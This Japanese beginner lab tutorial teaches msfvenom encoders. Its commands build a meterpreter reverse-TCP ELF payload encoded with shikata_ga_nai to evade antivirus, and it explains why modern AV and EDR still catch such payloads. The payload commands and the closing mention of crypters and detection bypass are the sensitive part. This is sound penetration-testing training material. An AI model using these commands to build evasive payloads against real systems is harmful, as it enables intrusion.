msfvenom でペイロードを難読化するためにエンコーダーを使用する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

サイバーセキュリティの分野において、ペイロードの難読化は、セキュリティソフトウェアによる検出を回避するために使用される重要な技術です。Metasploit Framework 内の強力なツールである msfvenom は、スタンドアロンのペイロードジェネレーターであり、ペイロードのエンコードにも使用できます。これにより、アンチウイルス (AV) システムによるシグネチャベースの検出を回避するために、その構造を変更します。

エンコーダーは、ペイロードの元のコードに一連の変換を適用し、単純なシグネチャスキャナーでは読み取れないようにします。ペイロードが実行されると、最初に小さなデコーダースタブが実行され、メモリ内で元のペイロードを再構築してから、実行をそれに転送します。

この実験 (Lab) では、msfvenom エンコーダーの使用に関する基本を学びます。まず、利用可能なエンコーダーを一覧表示し、次に人気のあるエンコーダーを選択してエンコードされたペイロードを生成し、複数のエンコードイテレーションを適用し、最後に、この技術が最新のセキュリティソリューションに対してどの程度効果的であるかについて議論します。

msfvenom --list encoders で利用可能なエンコーダーを一覧表示する

このステップでは、まず msfvenom で利用可能なすべてのエンコーダーを一覧表示することから始めます。これにより、ペイロードの難読化に使用できるさまざまなオプションの概要を把握できます。

まず、msfvenom を含む Metasploit Framework がインストールされていることを確認する必要があります。以下のコマンドを実行して、パッケージリストを更新し、インストールしてください。

sudo apt-get update
sudo apt-get install -y metasploit-framework

インストールが完了したら、msfvenom--list encoders オプションを使用して、利用可能なすべてのエンコーダーを一覧表示できます。このコマンドは、ランク、名前、簡単な説明とともにエンコーダーのテーブルを表示します。ランクは、エンコーダーの信頼性と有効性を示し、excellent が最も高くなります。

ターミナルで以下のコマンドを実行してください。

msfvenom --list encoders

利用可能なエンコーダーの長いリストが表示されます。出力は次のような構造になり、各エンコーダーの名前、ランク、説明が表示されます。

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

リストをスクロールして、さまざまなアーキテクチャや目的に利用可能なエンコーダーの多様性を確認してください。

x86/shikata_ga_nai のようなエンコーダーを選択する

このステップでは、最もよく知られているエンコーダーの 1 つである x86/shikata_ga_nai について学びます。このステップで実行するコマンドはありません。目標は、特定のエンコーダーが選択される理由を理解することです。

前のステップで生成したリストから、おそらく x86/shikata_ga_nai エンコーダーに気づいたでしょう。これはいくつかの理由で有名です。

  • ランク: excellent のランクを持っており、これは非常に信頼性が高く、エンコードプロセス中にペイロードを破損させる可能性が低いことを意味します。
  • ポリモーフィズム: これはポリモーフィックエンコーダーです。つまり、適用されるたびに独自の復号コードを変更します。理論的には、これにより AV ソフトウェアがデコーダースタブの静的シグネチャを作成することがはるかに困難になります。
  • 広範な使用: 長年にわたり、Metasploit で最も人気がありデフォルトのエンコーダーの 1 つであり、難読化について学ぶための古典的な例となっています。

その人気により、最新の AV によって頻繁にフィンガープリントが取られるようになっている(これは後で取り上げるトピックです)一方で、エンコードプロセスを実証するための完璧な例であり続けています。次のステップでは、このエンコーダーを使用してペイロードを難読化します。

-e フラグを使用してエンコーダーを指定してペイロードを生成する

このステップでは、ペイロードを生成し、それに x86/shikata_ga_nai エンコーダーを適用します。選択したエンコーダーを指定するために -e フラグを使用します。

簡単な Linux リバース TCP ペイロードを作成しましょう。このペイロードは、指定された IP アドレスとポートに接続を試みます。これをエンコードし、Linux の標準バイナリ形式である ELF (Executable and Linkable Format) ファイルとして保存します。

コマンドの構造は次のとおりです。 msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

  • -p: ペイロードを指定します。ここでは linux/x86/meterpreter/reverse_tcp を使用します。
  • LHOST および LPORT: ペイロードが接続バックする場所を知るために必要なオプションです。この例では 127.0.0.1 (localhost) を使用します。
  • -e: エンコーダーを指定します。ここでは x86/shikata_ga_nai を使用します。
  • -f: 出力フォーマットを指定します。ここでは elf を使用します。
  • >: 出力をファイルにリダイレクトします。

次に、ターミナルで以下のコマンドを実行して、エンコードされたペイロードを生成し、encoded_payload.elf として保存します。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

msfvenom は要求を処理し、最終的なサイズを含む生成されたペイロードに関する情報を表示します。

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

これで、現在のディレクトリ (~/project) に encoded_payload.elf という名前のエンコードされたペイロードファイルが正常に作成されました。ls -l コマンドでその作成を確認できます。

ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

-i フラグを使用して複数のエンコードイテレーションを適用する

このステップでは、イテレーション用の -i フラグを使用して、同じペイロードにエンコーダーを複数回適用する方法を学びます。理論的には、複数のエンコードレイヤーにより、ペイロードの検出がさらに困難になります。

これは効果的であるように聞こえますが、トレードオフがあります。各エンコードイテレーションは新しいデコーダースタブを追加するため、ペイロード全体のサイズが増加します。さらに、これによりセキュリティソフトウェアが検出できる繰り返しパターンが作成される場合があります。

同じペイロードに x86/shikata_ga_nai エンコーダーを 5 回適用してみましょう。以前のペイロードと比較するために、この新しいペイロードを multi_encoded_payload.elf として保存します。

以下のコマンドを使用し、-i 5 フラグを追加します。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

msfvenom は 5 回エンコーダーを適用します。各イテレーションを示す出力に注目してください。

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

次に、ls -l を使用して、単一エンコードペイロードと複数エンコードペイロードのファイルサイズを比較します。

ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

ご覧のとおり、multi_encoded_payload.elf は、繰り返しエンコードプロセスにより、encoded_payload.elf よりも大幅に大きくなっています。

最新の AV に対するエンコーダーの効果について議論する

この最終ステップでは、x86/shikata_ga_nai のような基本的なエンコーダーの実際の効果について議論します。このステップは純粋に概念的なものであり、実行するコマンドはありません。

エンコーダーはかつて AV をバイパスするための非常に効果的な方法でしたが、次世代アンチウイルス (NGAV) やエンドポイント検出および応答 (EDR) システムのような最新のセキュリティソリューションに対して、その効果は大幅に低下しています。その理由は以下のとおりです。

  1. デコーダーのシグネチャ: セキュリティベンダーは、一般的なエンコーダーがどのように機能するかを知っています。shikata_ga_nai のデコーダースタブ自体が、よく知られたシグネチャです。多くの AV 製品は、デコードしようとしているペイロードに関係なく、このデコーダーが含まれているというだけでファイルをフラグ付けします。より多くのイテレーション (-i フラグ) を適用すると、このシグネチャがさらに明白になることがよくあります。

  2. ヒューリスティックおよび行動分析: 最新の AV は静的シグネチャだけに依存しません。ヒューリスティックを使用して疑わしい特性 (例:実行可能なメモリを割り当てようとする小さなプログラム) を特定し、行動分析を使用してプログラムが実行時に何をするかを監視します。メモリ内で自身をデコードし、その後リバースシェルを開こうとするエンコードされたペイロードは、容易に検出される非常に疑わしい行動です。

  3. サンドボックスとエミュレーション: 多くのセキュリティ製品は、実際のシステムで実行される前に、疑わしいファイルを安全な仮想環境 (サンドボックス) で実行してその動作を監視できます。サンドボックス内で、AV はペイロードが自身をデコードできるようにし、その後元の悪意のあるコードを分析できます。

結論として、msfvenom エンコーダーを理解することは基本的なスキルですが、現代の環境でオプフスケーションのためにそれだけに依存することは、実行可能な戦略ではありません。高度な回避には、カスタムエンコーダーの作成、パッカーやクリプターの使用、および行動検出エンジンを特別にターゲットにしてバイパスする方法の採用など、より洗練された技術が必要です。

まとめ

この実験では、msfvenom エンコーダーを使用したペイロード難読化の基本を学びました。

以下の方法を習得しました。

  • msfvenom --list encoders で利用可能なすべてのエンコーダーを一覧表示する。
  • x86/shikata_ga_nai のような一般的なポリモーフィックエンコーダーを選択し、その目的を理解する。
  • -e フラグを使用してエンコードされたペイロードを生成する。
  • -i フラグを使用して複数のエンコードイテレーションを適用し、ファイルサイズへの影響を観察する。
  • 最新のアンチウイルスおよび EDR ソリューションに対する基本的なエンコーダーの制限を理解する。

この知識は、ペイロード生成とマルウェア検出および回避のいたちごっこを理解するための強固な基盤を提供します。練習したテクニックは、プロフェッショナルなペネトレーションテストで使用されるより高度な難読化手法を探求するための出発点となります。